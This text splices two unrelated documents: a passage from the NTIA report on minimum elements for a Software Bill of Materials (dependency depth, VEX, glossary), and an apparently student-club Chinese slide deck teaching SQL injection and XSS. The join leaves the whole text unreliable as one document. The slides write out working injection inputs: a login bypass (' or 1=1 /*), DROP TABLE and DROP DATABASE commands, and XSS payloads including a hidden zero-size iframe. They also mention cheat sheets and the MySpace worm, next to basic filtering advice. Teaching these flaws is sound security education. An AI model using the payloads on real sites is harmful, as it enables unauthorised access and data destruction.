18, 2021). 14 See David Waltermire et al., Guidelines for the Creation of Interoperable Software Identification (SWID) Tags (2016) (Nat’l Inst. of Standards & Tech. Internal Rep. 8060), http://dx.doi.org/10.6028/NIST.IR.8060 (SWID tags are defined by ISO/IEC 19770–2:2015). 15 Some commenters have emphasized the value of a single format. However, these data formats are actively used and supported today, and many SBOM experts have noted that the government may not be in the best position to pick the winner among competing standards. The SBOM community has emphasized maintaining interoperability and automated translation tools, noting that computers are good at format conversions. Department of Commerce The Minimum Elements for an SBOM 12 Frequency. If the software component is updated with a new build or release, a new SBOM must be created to reflect the new version of the software. This includes software builds to integrate an updated component or dependency. Similarly, if the supplier learns new details about the underlying components or wishes to correct an error in the existing SBOM data, the supplier should issue a new, revised SBOM. Depth. An SBOM should contain all primary (top level) components, with all their transitive dependencies listed. At a minimum, all top-level dependencies must be listed with enough detail to seek out the transitive dependencies recursively. Going further into the graph will provide more information. As organizations begin SBOM, depth beyond the primary components may not be easily available due to existing requirements with subcomponent suppliers. Eventual adoption of SBOM processes will enable access to additional depth through deeper levels of transparency at the subcomponent level. It should be noted that some use cases require complete or mostly complete graphs, such as the ability to “prove the negative” that a given component is not on an organization’s network. An SBOM consumer can specify depth by number of transitive steps. Alternatively, they could specify depth in operational terms. This could include software attributes, such as “all non-open source software,” or all components of a certain function or complexity. Organizations can also incentivize greater reporting depth and completeness by offering different requirements on reporting and remediation of vulnerabilities in components enumerated in the SBOM versus those that are not. Such specifications are outside the scope of these minimum elements. Known Unknowns. For instances in which the full dependency graph is not enumerated in the SBOM, the SBOM author must explicitly identify “known unknowns.” That is, the dependency data draws a clear distinction between a component that has no further dependencies, and a component for which the presence of dependencies is unknown and incomplete. This must be integrated into the automated data. To avoid erroneous assumptions, the default interpretation of the data should be that the data is incomplete; the author of the data should affirmatively state when the direct dependencies of a component have been fully enumerated, or when a component has no further dependencies. Today, this is implemented in the dependency relationship data field. Distribution and Delivery. SBOMs should be available in a timely fashion to those who need them and must have appropriate access permissions and roles in place. The SBOM data can accompany each instance of the software, or merely be accessible and directly mappable to the specific version of the software in question (e.g. through a version-specific URL). Sharing SBOM data down the software supply chain can be thought of as comprising two parts: how the existence and availability of the SBOM is made known (advertisement or discovery) and how the SBOM is retrieved by, or transmitted to, those who have the appropriate permissions (access). Similar to other areas of software assurance, there will not be a one-size-fits-all approach. Anyone offering SBOMs must have some means to make them available and support ingestion, but this can ride on existing mechanisms. SBOM delivery can reflect the nature of the software as well: executables that live on endpoints can Department of Commerce The Minimum Elements for an SBOM 13 store the SBOM data on disk with the compiled code, whereas embedded systems or online services can have pointers to SBOM data stored online. Access Control. Many suppliers, including open source maintainers and those with widely available software, may feel their interests are best served by making SBOM data public. Other organizations, especially at first, may wish to keep this data confidential, and limit access to specific customers or users. If access control is desired, the terms must be specified, including specific allowances and accommodations for integrating SBOM data into the user’s security tools. Such specification can be determined through licensing, contracts, or other existing mechanism used to circumscribe the use and rights around the software itself. Given the variation in software licensing and contracts, the nature of this specification is outside the scope of this document. Accommodation of Mistakes. A final practice area, accommodation of mistakes, should be built into the initial implementation phase of SBOM, allowing for omissions and errors. As many commentators have observed, while internal management of supply chain data may be a best practice, it is still evolving. The Administration has identified SBOM as a priority to drive software assurance and supply chain risk management, and starting today is better than waiting for perfection. In light of the absence of perfection, consumers of SBOMs should be explicitly tolerant of the occasional incidental error. This will facilitate constant improvement of tools: suppliers should offer updated data as they come across issues with past SBOMs, and consumers should encourage these updates by welcoming supplements and corrections without penalty when offered in good faith. As stated above regarding frequency, when new data is known an updated SBOM should be issued. Notably, this tolerance should not apply to intentional obfuscation or willful ignorance. V. Beyond Minimum Elements: Enabling Broader SBOM Use Cases The above characterize the “minimum elements” that comprise SBOM creation, maintenance, and use across the software supply chain. As noted, these are the initial steps and requirements needed to support the basic use cases. There is more work to be done to expand transparency in the software supply chain and to support visibility for securing software. This section describes further additions and inclusions that can support broader SBOM use cases. The fact that they are not part of the minimum set does not mean that these areas can be ignored; indeed, some will ultimately be critical to successful and efficient implementation of SBOM use cases. Many of these are in production today, or will be shortly with some small further refinements or testing. Organizations seeking SBOMs should feel comfortable working with their suppliers to ask for them. In many of the elements below, specific recommendations are proposed. Department of Commerce The Minimum Elements for an SBOM 14 Recommended Data Fields In addition to the data fields described in the minimum elements above, the following data fields are recommended for consideration, especially for efforts that are planned over several years or that require higher levels of security. In many cases and contexts these fields are well-defined and already implemented; others may require greater details for specification and clarity. As these are added to the minimum elements, any data formats that do not already include the below must add them or risk getting relegated. Hash of the Component. When referring to a piece of software, robust identifiers are important for mapping the existence of a component to relevant sources of data, such as vulnerability data sources. A cryptographic hash would provide a foundational element to assist in this mapping, as well as helping in instances of renaming and whitelisting. Hashes also offer confidence that a specific component was used. The consumer could compare the hash of the component with a known, trusted version. This could help verify that an “approved” version of a component was used, and is necessary to identify whether the component has been altered in unauthorized fashion. A hash is a key foundation for using SBOM to have trust in the software supply chain. There are some situations when a hash may not be possible, or convey relatively little value. If component information was obtained from a tool that did not have direct access to the underlying component (e.g. a binary analysis tool), then the component author may not be able to credibly determine the exact bits used, and so be unable to generate a hash. There are benefits of added assurance that come with a hash, but the diversity of the potential targets makes implementation somewhat complex. A file is straightforward, but an executable will have some differences compared to source packages and different hash algorithms will, of course, produce different values. A number of resolutions to this challenge exist, including providing enough detail for the consumer to replicate the hash from the original, or multiple hashes for the small number of potential implementations. Organizations can request hashes for SBOMs today, especially those focused on high assurance use cases. It is recommended that they specify further details about how the hash should be generated. Further defining and refining best practices and specifications for hash generation and consumption should be a priority for the SBOM community. Lifecycle Phase. The data about software components can be collected at different stages in the software lifecycle, including from the software source, at build time, or after build through a binary analysis tool. Due to unique features of each of these stages, the SBOM may have some differences depending on when and where the data was created. For example, a compiler may pull in a slightly different version of a component than what was expected from the source. For this reason, it would be helpful to have some means of easily conveying where, when, and how the SBOM data was recorded. As noted in the Future of SBOM section below, this may ultimately allow for the documentation of more supply chain data. In the short run, simply noting Department of Commerce The Minimum Elements for an SBOM 15 how this data was captured, (e.g. “source,” “build,” or “post-build”) will be helpful for consumption and data management. Other Component Relationships. The minimum elements of SBOM are connected through a single type of relationship: dependency. That is, X is included in Y. This relationship is implied in the SBOM graph structure. Other types of dependency relationships can be captured, and have been implemented in some SBOM standards. One approach that can be captured today beyond direct dependencies is “derivation” or “descendancy”. This can indicate that a component is similar to some other known component, but that some changes have been made. It can be useful to track for its shared origins and content. Further suggestions on other types of dependencies are explored below. License Information. License management was an early use case for SBOM, helping organizations with large and complex software portfolios track the licenses and terms of their diverse software components, especially for open source software. SBOMs can convey data about the licenses for each component. This data can also allow the user or purchaser to know if the software can be used as a component of another application without creating legal risk.16 Cloud-based Software and Software-as-a-Service Many modern software applications are provided as a service.17 This affords both distinctions and unique challenges with respect to SBOM data. Since the software is not running on the customer’s infrastructure or under their control, the risk management roles are different. The user is not responsible for maintenance, nor can they control any environmental factors. The responsibilities for understanding and acting on vulnerability or risk information lies with the service provider. Moreover, modern web applications often have much faster release and update cycles, making direct provisioning of SBOM data less practical. At the same time, there are challenges to capturing the software supply chain risks in the cloud context. The service provider must not only track metadata from the software supply chain of the software they are responsible for producing, but in the infrastructure stack that supports the application, whether under the direct control of the provider or from some external service provider. Many applications also take advantage of third-party services, sending data and requests to other organizations through application programming interfaces. Capturing meaningful metadata about the full application stack and third-party services is ongoing work, but not yet standardized or sufficiently mature for cross-organization implementation. 16 Both CycloneDX and SPDX support the expression of licenses in several ways, including a license ID on the SPDX license list, or using SPDX license expressions. See SPDX License List, SPDX https://spdx.org/licenses/ (May 20, 2021). SWID tags were designed, in part, to convey information around commercial licenses. See Guidelines for the Creation of Interoperable Software Identification (SWID) Tags, supra note 14, at page 1. 17 Peter Mell & Timothy Grace, Nat’l Inst. of Standards and Tech., Special Pub. 800-145, The NIST Definition of Cloud Computing 2 (2011). Department of Commerce The Minimum Elements for an SBOM 16 The NIST definition of “EO-critical software” applies to cloud-based software, but NIST recommends that the initial implementation phase focus on “on-premise software.”18 A similar approach is valuable for SBOM. In the short run, it is recommended that cloud service providers assert that they have an internal SBOM. That SBOM must be maintained with the rough functional equivalents of the minimum elements above, although the exact format and architecture may vary based on a provider’s internal system. The organization must also have the capability to act on this information and have a process to do so in a timely fashion. Over time, best practices will emerge to integrate SBOM data into third party risk management and supply chain risk management tools and processes. One use case that might be relevant for government agencies is forensic SBOM analysis: whether the cloud provider can determine whether or not a particular component was part of the deployed system at some time in the past. SBOM Integrity and Authenticity An SBOM consumer may be concerned about verifying the source of the SBOM data and confirming that it was not altered. In the software world, integrity and authenticity are most often supported through signatures and public key infrastructure. As SBOM practices are implemented, some existing measures for integrity and authenticity of both software and metadata can be leveraged. Some of the SBOM data formats described above can explicitly support these security measures today, while ongoing open source work is tackling the priority of signing metadata from development environments. Similarly, existing software signing infrastructure can be leveraged for tools and management of cryptographic materials, including public key infrastructure. Those supplying and requesting SBOMs are encouraged to explore options to both sign SBOMs and verify tamper-detection. Such a mechanism should allow the signing of each component of a given piece of software and allow the user to determine whether the signature is legitimate. Integrity and authenticity are a priority for many government agencies, especially in the national security domain. Some users of SBOM data may insist on requiring digital signatures for SBOMs today. Vulnerabilities and SBOM The primary security use case for SBOM today is to identify known vulnerabilities and risks in the software supply chain. Some developers may choose to store vulnerability data inside the SBOM, and multiple SBOM data formats support this. There is clear value for the developer in this approach. However, SBOM data is primarily static. That is, it reflects the properties of the 18 Critical Software – Definition & Explanatory Material, NIST – Info. Tech. Lab’y (Jun. 25, 2021), https://www.nist.gov/itl/executive-order-improving-nations-cybersecurity/critical-software-definition-explanatory. Department of Commerce The Minimum Elements for an SBOM 17 specific built software at a point in time. Vulnerability data, meanwhile, is dynamic and evolves over time. Software that was not previously deemed vulnerable may “become” vulnerable as new bugs are discovered. Vulnerability data in the SBOM cannot be assumed to be complete and up-to-date, unless very specific conditions and processes are in place. This is unlikely across organizational boundaries. SBOM data will most likely have to ultimately be linked to vulnerability data sources. (This does not, however, limit the value of providing vulnerability, software weaknesses, and risk information to the consumer of the software). It is recommended that vulnerability data be tracked in separate data structures from the SBOM. Operations should focus on mapping and linking between the two types of data as each evolve and the technologies mature. If vulnerability data is shared across organizations, both the vulnerability data and the SBOMs can use similar models for distribution, access control, and ingestion. Vulnerability and Exploitability in Dependencies While software vulnerabilities are a key component of understanding risk, not all vulnerabilities put users and organizations at risk. This is especially true when dealing with transitive dependencies. Not all vulnerabilities in components create risks in the software that depends on them. Some vendor data suggests that a relatively small percentage of vulnerable components have a security impact in the environment where that software is deployed. In the SBOM context, focusing on upstream vulnerable components that have been deemed not to have an impact on the downstream software will waste time and resources, without offering immediate security benefits Addressing this challenge requires two steps. First, the supplier must make some reliable determination that a vulnerability does not affect a specific piece of software. This could be for a range of reasons: the compiler might remove the affected code from the component, the vulnerability may not be reachable in the execution path, in-line protections exist, or a host of other reasons. These determinations are ideally already made today by product security incident response teams (PSIRTs) who track internal dependencies and risks. The second step requires communication downstream to the next user of this SBOM data, asserting that the vulnerability does not put the organization at risk. This is straightforward, linking of a piece of software (the vulnerability in question) and the status of that vulnerability. The community refers to this as a “Vulnerability Exploitability eXchange,” or VEX. The core of VEX is the communication of whether or not a given piece software is “affected” by a given vulnerability. In this case, if no action is deemed necessary, then the status is “not affected.” VEX is being implemented today as a profile in the Common Security Advisory Framework,19 19 OASIS Common Security Advisory Framework, http://oasis-open.github.io/csaf-documentation/ (last visited July 6, 2021). Department of Commerce The Minimum Elements for an SBOM 18 which enables machine-readable information about whether software is affected or not affected by a vulnerability and can link to specific SBOM data. Other implementations are possible. It is recommended that tools that analyze SBOM data for the customer build in the capability to automatically incorporate VEX data. Legacy Software and Binary Analysis From an efficiency and utility perspective, SBOM data should be provided by the supplier. However, that is not always possible, nor the best option. In some cases, the source may not even be obtainable, with only the object code available for SBOM generation. Software that is not maintained is at greatest risk of being exploitable. Older software is at a greater risk of not being maintained. Legacy software’s older code base, and its frequent use in important parts of critical infrastructure, often makes transparency more important, especially for assessing risk from known vulnerabilities. In these cases, binary analysis tools can be used to better understand the components and dependencies in the systems in question. Binary analysis can also be used to validate SBOM contents, or help understand gaps in the SBOM data. Nonetheless, there is a key difference in how SBOMs are generated from a source repository, at the point of the building of the software, and for already-built software. While there are many unique circumstances, those requesting SBOM data should try to obtain it from the instance of the build since the instance of the build captures the details of the software as built, including reflecting any changes made by the compiler or other tools. Flexibility vs Uniformity in Implementation In many areas of security that cover a diverse range of software and contexts, a fundamental tension exists between the needs for flexibility and uniformity. This is not unique to SBOM. The sheer scope and scale of the software ecosystem leads to a host of unique considerations. This not only includes key distinctions between the uses of software (e.g., traditional enterprise software vs. embedded systems vs. containerized software), but also the unique features of different languages and tools. At the same time, there is a clear need for some convergence and uniformity. Any organization would incur non-trivial costs to handle a wide range of SBOM implementations that are not easily compatible. The Federal Government and its agencies are no exception, and moving toward the benefits of the SBOM use cases described above requires some predictability and harmonization. Successful implementation of SBOMs across the ecosystem will require both broad rules and policies, as well as specific areas of flexibility that are explicitly acknowledged. For the U.S. Government, the selection of these areas should reflect feedback from the community and agency stakeholders. Specific areas include legacy technology and higher assurance software, where active and ongoing threats may require more detailed supply chain information and stricter requirements. Ultimately, all requirements built on the minimum elements should draw from two key concepts. First, all security, especially SBOM, is a process and not a single goal. Second, the fundamental Department of Commerce The Minimum Elements for an SBOM 19 principle behind SBOM is the power of transparency, and any rules or guidance should focus on enabling the use cases described in this document and elsewhere. VI. Future SBOM Work As this document has tried to emphasize, SBOM is an emerging technology and practice. Organizations are implementing SBOM today, but there is much more to do. The suggestions below are not intended to constrain future work or fully enumerate the potential for SBOM. Instead, they are highlights from a large and dedicated community from industry and government experts. Most notably, it is important to stress that SBOM will not solve all security or supply chain attacks. Several recent high profile attacks in the supply chain did not target software components, but the tools and systems used to manage the software development and build process. Defenses against this type of threat are beginning to be discussed and even deployed in certain corners of the ecosystem. The foundation for a more complete approach to securing the software supply chain is to securely capture details from across the software lifecycle, with cryptographic assurance. The minimum elements of SBOM starts this process, but there is more to do. Simply capturing more metadata is helpful, but effectively using this data requires automation, and automation requires the potential for both automated consumption and policy enforcement. This will require not just machine readability, but also semantic interpretation, which in turn, will require further work on data specifications and standardization. Some of this data will naturally fit into the SBOM approach. This includes data about the pedigree and provenance of individual components, tracking the respective source of components, and their chain of custody across the software lifecycle. Other types of data, including some of the other secure development and supply chain security steps called for in EO 14028, may relate to software development, but might be better tracked separately and correlated with SBOMs. The unique nature of modern application development and cloud-native architectures deserves further consideration for software transparency as well. Some modern software execution involves dynamic dependencies, calls to third-party services, and other dependencies not directly included in the software build. Inclusion of these dependencies ensures software is operated as intended and that vulnerabilities are not introduced through misuse. Further work is needed to fully characterize this data and assist in automated interpretation and use. Department of Commerce The Minimum Elements for an SBOM 20 It is worth noting that several efforts to this end are under development today, and several more have been tried in the past, to varying degrees of success and longevity. As noted in the Scope section above, modular architecture can best support diverse innovation and adaptability. Many of the issues discussed above will need further refinement, including software identity and SBOM distribution. Software identity will remain a hard problem, especially across different ecosystems. While a single, widely-used namespace might appear ideal, obstacles such as scaling, diversity, and the evolving landscape of suppliers make this unlikely. A diversity of versioning methods and systems also inhibits scalable automation for SBOMs and presents a number of related security data issues. Further coordination work can help each supplier identify and manage their own identification namespace, as well as reconcile incompatible standards and practices. Since SBOM is an emerging technology, suppliers are still learning how to share this data with their customers. Fortunately, many suppliers already have trusted channels with their downstream users, including for software updates and support, although not all of these are automated or flexible. Several promising technologies have emerged or are being developed that might be well-suited to enable the discovery, access, and automated ingestion of SBOM data. Several technologies are worth noting here. The Manufacturer Usage Descriptor is a mechanism to allow a device to communicate important information about itself on the network, including network functionality20 and, notably for this document, SBOMs.21 The “Digital Bill of Materials” is a solution that supports multiple attestations about an open-ended set of supply chain data, including SBOM, and the enforcement of sharing and the access policies around these attestations.22 OpenC2 is a standardized language for the command and control of technologies that provide or support cyber defense; work has begun to use it to handle, process, and act on SBOM data.23 SBOMs can also be handled by some set of trusted third-parties, which raises many of the usual strengths and weaknesses of relying on centralization. Challenges include trust and funding sources. One added benefit of some centralization that has been suggested is that “SBOMs gain greater value when collectively stored in a repository that can be easily queried by other applications and systems.”24 This can be used to gain more insights into systematic risk facing organizations, or even ecosystems or the country itself. It can facilitate coordinated vulnerability 20 E. Lear, et al., Internet Eng’g Task Force, Manufacturer Usage Description Specification (Mar. 2019), https://datatracker.ietf.org/doc/html/rfc8520 (specifies Manufacturer Usage Description (MUD)). 21 E. Lear, et al., Network Working Grp., Discovering and Accessing Software Bills of Materials (May 18, 2021), https://datatracker.ietf.org/doc/html/draft-ietf-opsawg-sbom-access. 22 Digital Bill of Materials – Documentation, DBOM, https://dbom-project.readthedocs.io/en/latest/ (last visited July 6, 2021). 23 Open Command and Control (OpenC2), https://openc2.org/ (last visited July 6, 2021). 24 Exec. Order No. 14,028, supra note 1, § 10(j). Department of Commerce The Minimum Elements for an SBOM 21 disclosure by giving coordinators an idea of which organizations or suppliers are at risk. Pooled data could help a centralized actor understand, which components are used the most widely, or in the most critical sectors, and prioritize security research or hardening practices. However, some have raised concerns that adversaries could take advantage and target those critical components for novel attacks. Further research is necessary to understand the optimal structure and incentives for sharing, protecting, and using SBOM data. Ultimately, SBOM should not be seen as a unique security phenomenon, but yet another practice that can support the broader effort to secure the supply chain. In addition to linking this data to more supply chain data in the software domain, this data can be tied to hardware data. Hardware offers the features of a hardware root-of-trust and greater end-to-end assurance. At the same time, risks to the hardware supply chain pose their own challenges, and hardware-specific metadata should be considered and integrated into overall supply chain risk management along with SBOM data. Lastly, as SBOM technology, tools, and practices mature, standards organizations should consider integrating them into voluntary, consensus-based standards. As noted in this discussion of minimum elements, SBOM covers both specific data and organizational practices. These have been developed in an iterative fashion to prove what works and affords rapid innovation. Given the cross-organizational nature of SBOM, it is important to demonstrate both feasibility and scalability before they are locked into formal standards. However, as evidence accrues of successful widespread implementation, sectors and standards experts should codify the technology and practices into international standards. VII. Conclusion This report is the product of carefully considered input from stakeholders across the government, private sector, and academia. The minimum elements of an SBOM are a starting point, based on what is conceivable today. The process of determining what constitutes the minimum elements of an SBOM should not end here. As the additional elements identified above in Beyond Minimum Elements and The Future of SBOM also become feasible, tested, and built into tools, those should be added to the minimum elements. These minimum elements will be a key input into the Federal Government’s work to improve the security and integrity of the software supply chain, particularly for critical software. Executive Order 14028 defines these next steps, notably calling for specific guidance, including “standards, procedures, or criteria.”25 To support and complement this work, the Federal Government should encourage or develop resources on how to implement SBOMs, potentially involving sector- specific or technology-specific details. It will be important to build on, and potentially expand, 25 Exec. Order No. 14,028, supra note 1, § 4(e). Department of Commerce The Minimum Elements for an SBOM 22 the public-private partnerships that have already been established and which have focused on defining and operationalizing SBOM’s related supply chain work. Finally, defining the minimum elements of an SBOM is an iterative process. Some elements are omitted from this listing simply because they are not yet feasible for the majority of stakeholders. However, in the near future, they likely will become feasible. This report should be seen as a starting point, rather than the last word. Department of Commerce The Minimum Elements for an SBOM 23 Appendix A: Methodology The Executive Order on Improving the Nation’s Cybersecurity directed the Department of Commerce, in coordination with the National Telecommunications and Information Administration (NTIA), to publish the minimum elements for a Software Bill of Materials (SBOM). Upon receiving the tasking in EO 14028, the Department, through NTIA, began working to develop a preliminary approach to the minimum elements, basing the initial draft on the work drafted by stakeholders in NTIA’s open, public multistakeholder process on software component transparency. On June 2, 2021, NTIA published a Notice and Request for Comments (RFC) on the minimum elements for an SBOM, and what other factors should be considered in the request, production, distribution, and consumption of SBOMs. The Notice and RFC included the preliminary minimum elements for comment.26 Comments were due on or before June 17, 2021. NTIA received approximately 88 comments, from stakeholders across the public and private sector, in response to this request. In addition, NTIA performed interviews with a total of 32 Federal government officials representing both mission-driven and operational approaches to cybersecurity, from civilian, intelligence, and national security communities. NTIA analyzed the input received in the comments and the interviews and synthesized the material for this report on minimum elements. The NTIA multistakeholder process on software component transparency was a separate process it convened in 2018. The first open, public meeting in July of 2018 allowed the participants in Washington and participating online to debate the overall issue of software component transparency. From this initial meeting, a series of working groups were established to tackle transparency from several different perspectives. One group tackled the overall challenge of what a “software bill of materials” should look like, the second documented existing and potential use cases for transparency, while the third reviewed the existing standards and formats that could be used to convey SBOM data. A final working group proposed and executed a “proof of concept” exercise with medical device manufacturers and the hospitals that used these devices. Working groups met weekly or biweekly to define their charter and workstreams. All working groups were open, and new stakeholders joined as the project progressed. Each group was led by 2-3 co-chairs who volunteered from the community. The broader community reconvened every 3-4 months to share progress from the different working groups and discuss the overall direction of this initiative. For the multistakeholder process, NTIA acted as a convener and a neutral facilitator, and helped the different working groups coordinate as their work progressed. Those work products were drafted by stakeholders with frequent opportunities for the community to weigh in as the 26 NTIA, Software Bill of Materials Elements and Considerations, 86 Fed. Reg. 29568 (June 2, 2021), https://www.ntia.gov/files/ntia/publications/frn-sbom-rfc-06022021.pdf. Department of Commerce The Minimum Elements for an SBOM 24 deliverables took form. The documentation from that process provided valuable insight for this activity to propose the minimum elements of an SBOM, called for in EO 14028. Department of Commerce The Minimum Elements for an SBOM 25 Appendix B: Glossary Authenticity The property that data originated from its purported source.27 Author An entity that creates an SBOM. When author and supplier are different, this indicates that one entity (the author) is making claims about components created or included by a different entity (the supplier).28 Component A unit of software defined by a supplier at the time the component is built, packaged, or delivered. Many components contain subcomponents. Examples of components include a software product, a device, a library, or a single file. Consumer Entity that obtains SBOMs. An entity can be both a supplier and consumer, using components with SBOM data in its own software, which is then passed downstream. An “end-user” consumer (that is not also a supplier) may also be called an operator or a leaf entity.29 Dependency Characterizing the relationship that an upstream component X is included in software Y. Downstream Referring to how a component is subsequently used in other pieces of software at a later stage in the supply chain. Integrity Guarding against improper information modification or destruction.30 Lifecycle Phase The stage in the software lifecycle where an SBOM is generated (e.g. from source, at the time of build or packaging, or from a built executable). 27 Morris Dworkin, Nat’l Inst. of Standards and Tech., Special Pub. 800-38F, Recommendation for Block Cipher Modes of Operation: Methods for Key Wrapping 3 (2012). 28 Framing Software Component Transparency, supra note 3, at page 24. 29 Id. 30 44 U.S.C. § 3542. Department of Commerce The Minimum Elements for an SBOM 26 Open-source software Software that can be accessed, used, modified, and shared by anyone.31 Pedigree Data on the origins of components that have come together to make a piece of software and the process under which they came together. This could include data beyond the minimum elements, such as compiler details and settings.32 Provenance Data about the chain of custody of the software and all of the constituent components, potentially including data about the authors and locations from where the components were obtained.33 SBOM (Software Bill of Materials) A formal record containing the details and supply chain relationships of various components used in building software. Software developers and vendors often create products by assembling existing open source and commercial software components. The SBOM enumerates these components in a product.34 Software-as-a-Service The capability provided to the consumer to use the provider’s applications running on a cloud infrastructure. The applications are accessible from various client devices through either a thin client interface, such as a web browser (e.g., web-based email), or a program interface. The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, storage, or even individual application capabilities, with the possible exception of limited user-specific application configuration settings.35 Subcomponent Constituent part(s) of a component. Supplier An entity that creates, defines, and identifies components and produces associated SBOMs. A supplier may also be known as a manufacturer, vendor, developer, integrator, maintainer, or provider. Ideally, all suppliers are also authors of SBOMs for the suppliers’ components. Most suppliers are also consumers. A supplier with no included upstream components is a root entity.36 31 Nat’l Inst. of Standards and Tech., S 6106.01, Open Source Code 2 (2018). 32 Roles and Benefits for SBOM Across the Supply Chain, supra note 4, at page 26. 33 Id. 34 Exec. Order No. 14,028, supra note 1, § 10(j). 35 The NIST Definition of Cloud Computing, supra note 17, at page 2. 36 Framing Software Component Transparency, supra note 3, at page 24. Department of Commerce The Minimum Elements for an SBOM 27 Transitive Dependency Characterizing the relationship that if an upstream component X is included in software Y and component Z is included in component X then component Z is included in software Y. Upstream Referring to the origins of components or subcomponents, at an earlier stage in the supply chain. Department of Commerce The Minimum Elements for an SBOM 28 Appendix C: Acronym List CPE Common Platform Enumeration CPU Central Processing Unit EO Executive Order NIST National Institute of Standards and Technology NTIA National Telecommunications and Information Administration OSS Open-Source Software PSIRT Product Security Incident Response Team PURL Package Uniform Resource Locator RFC Request for Comments SBOM Software Bill of Materials SPDX Software Package Data eXchange SWID Software Identification VEX Vulnerability Exploitability eXchange	pdf
NISRA ◎ 王薪嘉 ◎ 現任 NISRA 會長 2 ◎ 靜態 • 只能瀏覽資料 (純粹圖文) • Html + CSS ◎ 動態 • 用戶端與伺服器可以互動 • Ex: 投票系統、檔案上傳、購物網站, etc • PHP, JSP, ASP, etc 上傳伺服器顯示 user user user 程式資料庫 php asp 上傳上傳伺服器伺服器顯示輸入&產生 user user user user user user 資料隱碼攻擊 ◎ Structured Query Language，一般習慣唸成 "sequel"，不過正確的唸法應該是 "S-Q-L" ◎ 是一種常見於資料庫的語言，用於資料存取、查詢、更新和管理關聯式資料庫系統 ◎ 同時也是資料庫指令檔的副檔名 (.sql)。 ◎ SQL 的語法是由一些簡單的句子構成，簡單易學 7 ◎ Database：按照資料結構來組織、存儲和管理資料的倉庫。使用者可以對檔案中的資料執行新增、更新、刪除、搜尋等操作。資料1 資料2 資料3 資料4 Table1 Database Table Table4 Table2 …… …… ◎ 發生於應用程式之資料庫層的安全漏洞。 ◎ 在輸入的字串中夾帶 SQL指令，若程式沒有進行檢查而使這些字串被誤認為是合法的 SQL指令並執行，將會造成： • 資料竊取 • 資料刪除 • etc ◎ 登入檢查：判定 User 輸入的帳號、密碼是否正確，來確定登入是否成功。 10 使用者名稱使用者密碼 Login ◎ 登入檢查：判定 User 輸入的帳號、密碼是否正確，來確定登入是否成功。 ◎ select * from members where account='$name' and password='$password' 11 ◎ 登入檢查：判定 User 輸入的帳號、密碼是否正確，來確定登入是否成功。 ◎ select * from members where account='$name' and password='$password' ◎ 此時帳號輸入' or 1=1 /* ，密碼任意輸入 12 ◎ select * from members where account ='' or 1=1 /' and password='' 13 ◎ select from members where account ='' or 1=1 /' and password='' ◎ / 在 MySQL 語法中代表註解的意思。所以「/」後面的字串通通沒有執行，而這句判斷式「1=1」永遠成立，就能藉此登入網站成功。 14 ◎ select from members where account ='' or 1=1 /' and password='' ◎ / 在 MySQL 語法中代表註解的意思。所以「/」後面的字串通通沒有執行，而這句判斷式「1=1」永遠成立，就能藉此登入網站成功。 ◎ MySQL 的註解有三種：「/」「--」「#」 15 ◎ DROP：SQL 語法中關於刪除的指令 ◎ 假如使用者輸入的地方可以執行 DROP 指令，那也許將會刪除：表格 -> DROP TABLE "表格名稱" 資料庫 -> DROP DATABASE "資料庫名稱" 16 ◎ 過濾使用者的輸入：' " / ' or 1=1 /*  or 1 = 1 17 ◎ 過濾使用者的輸入：' " / ' or 1=1 /*  or 1 = 1 ◎ 加工使用者輸入的字串：把字串中的特殊字元前加上 \ 再回傳 18 XSS - 跨網站指令碼 19 ◎ 一種常見於 Web 應用程式中的電腦安全性漏洞。 ◎ 在網頁中注入惡意程式，透過使用者在網路上擴散。 20 ◎ Web 瀏覽器本身的設計不安全。 ◎ XSS 觸發的門檻低且不受重視。 ◎ Web 2.0 後網站上的交互功能日漸強大，我們將有越來越多的機會可以查看、修改他人的資訊。 21 反射型 & 持久型 ◎ 又稱非持久型、參數型 XSS。 ◎ 在使用者按下時觸發。 ◎ 一般是透過特定手法(如：E-mail)，誘使 User 連結包含惡意程式的 URL。 ◎ 常出現於網站的搜尋欄、使用登入介面用來竊取 Cookie 或是釣魚欺騙。 23 Hacker Web 網頁瀏覽網頁 Hacker’s Server 使用者資料 (Cookie) 惡意程式碼 24 E-mail USER ◎ 又稱儲存型，可能會影響 Web 伺服器。 ◎ 先將惡意腳本上傳或儲存在有漏洞的伺服器上，只要受害者瀏覽到相關頁面就會執行惡意程式。 ◎ 一般出現在網站的留言板、評論、部落格日記等。可以用來滲透網站、木馬、釣魚、編寫 XSS 蠕蟲。 25 Server Hacker Web 留言板惡意程式碼瀏覽攻擊/ 執行惡意程式 USER ◎ 尋找可以顯示使用者輸入文字的地方 ◎ 測試是否可以執行腳本語言 (Ex: Javascript) ◎ 植入惡意程式 27 28 ◎ JavaScript 讓瀏覽器彈出訊息小框框的內置函數。 29 ◎ 不一定要放 alert(1) • prompt(1) • <meta http-equiv="refresh" content="0;"> • <iframe src=http://www.text.com width=0 height=0></iframe> 30 ◎ 國外著名安全工程師 Rsnake 研究 XSS 的心得。 ◎ 常見的 XSS 攻擊腳本列表，用來檢測 Web 是否存在 XSS 漏洞。 ◎ ha.ckers.org/xss.html 現今最完整的 XSS 測試用範例。 ◎ http://www.xenuser.org/xss-cheat-sheet/ 簡易版 31 ◎ 將腳本語言加到 Web 頁面的過程非常簡單：只要加入<script></script> 標籤即可。 ◎ 瀏覽器只負責解釋和執行腳本語言，不會判斷程式碼惡意與否。 32 ◎ XSS 不如 SQL Injection、檔案上傳等能夠直接得到較高權限的操作。 ◎ 但是它的運用十分靈活。 ◎ 例如： • 2005/10 Myspace跨腳本網站蠕蟲 33 ◎ 世界上第一隻網路蠕蟲 ◎ 網路社群 MySpace ◎ 20 小時內感染 “一百多萬個” 使用者，最後 MySpace 伺服器崩潰。 34 ◎ 19歲的 Samy 和女友打賭他可以在 Myspace 上擁有眾多粉絲。 ◎ 當然……辦不到！ ◎ 研究 Myspace  發現個人簡介處存在 XSS 漏洞。 ◎ 注入一段 JS 蠕蟲，每個查看他簡介的人在不知不覺中自動執行這段程式碼。 ◎ 蠕蟲打開受害者的個人簡介，自我複製在受害者的個人簡介。 ◎ 瘋狂散播直到伺服器崩潰。 35 發現網站的 XSS 漏洞，編寫 XSS Worm 利用漏洞作為傳播源頭進行 XSS 其他使用者連結目標，可能感染蠕蟲 alter() 或其他操作判斷使用者是否登入判斷使用者是否感染是是否否 ◎ XSS 和 SQL Injection 一樣，都是利用 Web 編寫不完善來攻擊。 ◎ 因此每一個漏洞該利用和針對的弱點都不盡相同。 ◎ 這給 XSS 防禦帶來了困難：不可能以單一特徵來概括所有 XSS 攻擊。 37 38 input Web 